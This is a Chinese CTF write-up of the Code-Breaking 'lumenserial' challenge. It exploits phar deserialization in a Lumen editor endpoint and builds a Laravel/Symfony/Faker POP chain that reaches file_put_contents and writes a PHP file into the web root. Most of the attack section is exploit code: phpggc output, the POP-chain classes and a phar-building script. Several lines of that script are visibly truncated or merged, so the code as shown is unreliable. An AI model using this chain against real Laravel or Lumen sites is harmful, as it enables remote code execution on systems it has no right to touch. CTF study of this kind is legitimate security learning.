Code_Breaking -- lumenserial(phar 反序列化)

  • 首发于https://blog.lou00.top/index.php/archives/9/

题目环境

https://github.com/phith0n/code-breaking/tree/master/2018/lumenserial

源码阅读

laravel框架
先看routes/web.php

get('/', function (Request $request) use ($router) {
    return view('index');
});
$router->get('/server/editor', 'EditorController@main');
$router->post('/server/editor', 'EditorController@main');

所有动作都会通过main函数执行
再看App\Http\Controllers\EditorController::main

public function main(Request $request)
    {
        $action = $request->query('action');
        try {
            if (is_string($action) && method_exists($this, "do{$action}")) {
                return call_user_func([$this, "do{$action}"], $request);
            } else {
                throw new FileException('Method error');
            }
        } catch (FileException $e) {
            return response()->json(['state' => $e->getMessage()]);
        }
    }

凡是开头有do的函数都能调用
这样的函数有

protected function doUploadImage(Request $request)
    {
        //....
    }
protected function doCatchimage(Request $request)
    {
        $sources = $request->input($this->config['catcherFieldName']);
        $rets = [];
        if ($sources) {
            foreach ($sources as $url) {
                $rets[] = $this->download($url);
            }
        }
        //..
    }
private function download($url)
    {
        $maxSize = $this->config['catcherMaxSize'];
        $limitExtension = array_map(function ($ext) {
            return ltrim($ext, '.');
        }, $this->config['catcherAllowFiles']);
        $allowTypes = array_map(function ($ext) {
            return "image/{$ext}";
        }, $limitExtension);
        $content = file_get_contents($url);
        $img = getimagesizefromstring($content);
        //..
    }
protected function doUploadImage(Request $request)
    {
        //..
    }
protected function doListImage(Request $request)
    {
       //..
    }
protected function doConfig(Request $request)
    {
        //..
    }

可以看到$content = file_get_contents($url);可以上传个phar触发反序列化
http://website/server/editor/?action=Catchimage&source[]=phar://xxx.gif

pop链寻找

先利用phpggc执行
题目将可以命令执行的函数都过滤了

disable_functions:
system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,apache_setenv,mb_send_mail,dl,set_time_limit,ignore_user_abort,symlink,link,error_log

disable_classes:
GlobIterator,DirectoryIterator,FilesystemIterator,RecursiveDirectoryIterator

先利用phpggcphpinfo()

ubuntu@VM-0-12-ubuntu:~/phpggc$ ./phpggc Laravel/RCE1 phpinfo 1 | base64
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIA
KgBldmVudHMiO086MTU6IkZha2VyXEdlbmVyYXRvciI6MTp7czoxMzoiACoAZm9ybWF0dGVycyI7
YToxOntzOjg6ImRpc3BhdGNoIjtzOjc6InBocGluZm8iO319czo4OiIAKgBldmVudCI7czoxOiIx
Ijt9Cg==

利用脚本生成phar(不知道为啥利用phpggc生成的phar无法反序列化)

startBuffering();
$phar->setStub("GIF89asetMetadata($b);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
?>

上传后访问即可得到

image

上面的disable的函数也是从这里得到的
之后要想办法利用file_put_contents写文件
phpggc提供的pop链都是单参数的,无法满足要求,需要找到一个双参数的pop链
\Illuminate\Broadcasting\PendingBroadcast::__destruct()

public function __destruct()
    {
        $this->events->dispatch($this->event);
    }

\Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher

public function dispatch($eventName, Event $event = null)
    {
        if (null === $event) {
            $event = new Event();
        }

        if (null !== $this->logger && $event->isPropagationStopped()) {
            $this->logger->debug(sprintf('The "%s" event is already stopped. No listeners have been called.', $eventName));
        }

        $this->preProcess($eventName);
       //...
    }
private function preProcess($eventName)
    {
        if (!$this->dispatcher->hasListeners($eventName)) {
            $this->orphanedEvents[] = $eventName;

            return;
        }

        foreach ($this->dispatcher->getListeners($eventName) as $listener) {
            $priority = $this->getListenerPriority($eventName, $listener);
            $wrappedListener = new WrappedListener($listener, null, $this->stopwatch, $this);
            $this->wrappedListeners[$eventName][] = $wrappedListener;
            $this->dispatcher->removeListener($eventName, $listener);
            $this->dispatcher->addListener($eventName, $wrappedListener, $priority);
        }
    }

\Faker\Generator

public function __call($method, $attributes)
    {
        return $this->format($method, $attributes);
    }

public function format($formatter, $arguments = array())
    {
        return call_user_func_array($this->getFormatter($formatter), $arguments);
    }

public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
        foreach ($this->providers as $provider) {
            if (method_exists($provider, $formatter)) {
                $this->formatters[$formatter] = array($provider, $formatter);

                return $this->formatters[$formatter];
            }
        }
        throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }

Illuminate\Events\Dispatcher::getListeners

public function getListeners($eventName)
    {
        $listeners = $this->listeners[$eventName] ?? [];

        $listeners = array_merge(
            $listeners,
            $this->wildcardsCache[$eventName] ?? $this->getWildcardListeners($eventName)
        );

        return class_exists($eventName, false)
                    ? $this->addInterfaceListeners($eventName, $listeners)
                    : $listeners;
    }

payload

events = $events;
            $this->event = $event;
        }
    }
}

namespace Symfony\Component\EventDispatcher\Debug
{
 interface TraceableEventDispatcherInterface{}

   class TraceableEventDispatcher implements TraceableEventDispatcherInterface
 {
       private $dispatcher;

        public function __construct($dispatcher){
           $this->dispatcher = $dispatcher;
     }
   }
}

namespace  Illuminate\Contracts\Events
{

   interface Dispatcher{}

}



namespace Illuminate\Events
{ 
    use Illuminate\Contracts\Events\Dispatcher as DispatcherContract;

   class Dispatcher implements DispatcherContract{

     protected $listeners = [];
      protected $wildcardsCache = [];

     public function __construct($listeners,$wildcardsCache){

            $this->listeners["/root/Downloads/lumenserial/html/1.php"] = $listeners;

         $this->wildcardsCache["/root/Downloads/lumenserial/html/1.php"] = $wildcardsCache;
       }
   }
}

namespace Faker
{
    class Generator
    {
        protected $formatters;
        protected $providers;

        public function __construct($formatters , $providers)
        {
            $this->formatters = $formatters;
            $this->providers = $providers;
        }    
    }
}

namespace {
$a_ = new \Illuminate\Events\Dispatcher(array(' "is_string","removeListener" => "file_put_contents","getListenerPriority"=>"file_put_contents"],[$a_]);
$b = new \Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher($a);
$c = new \Illuminate\Broadcasting\PendingBroadcast($b , "/root/Downloads/lumenserial/html/1.php");
$filename = "poc.phar";
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89asetMetadata($c);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
}
?>

上传访问后在访问/upload/1.php

image

成功

参考

https://www.anquanke.com/post/id/170681
https://www.anquanke.com/post/id/170714
http://m4p1e.com/web/20181224.html

你可能感兴趣的:(Code_Breaking -- lumenserial(phar 反序列化))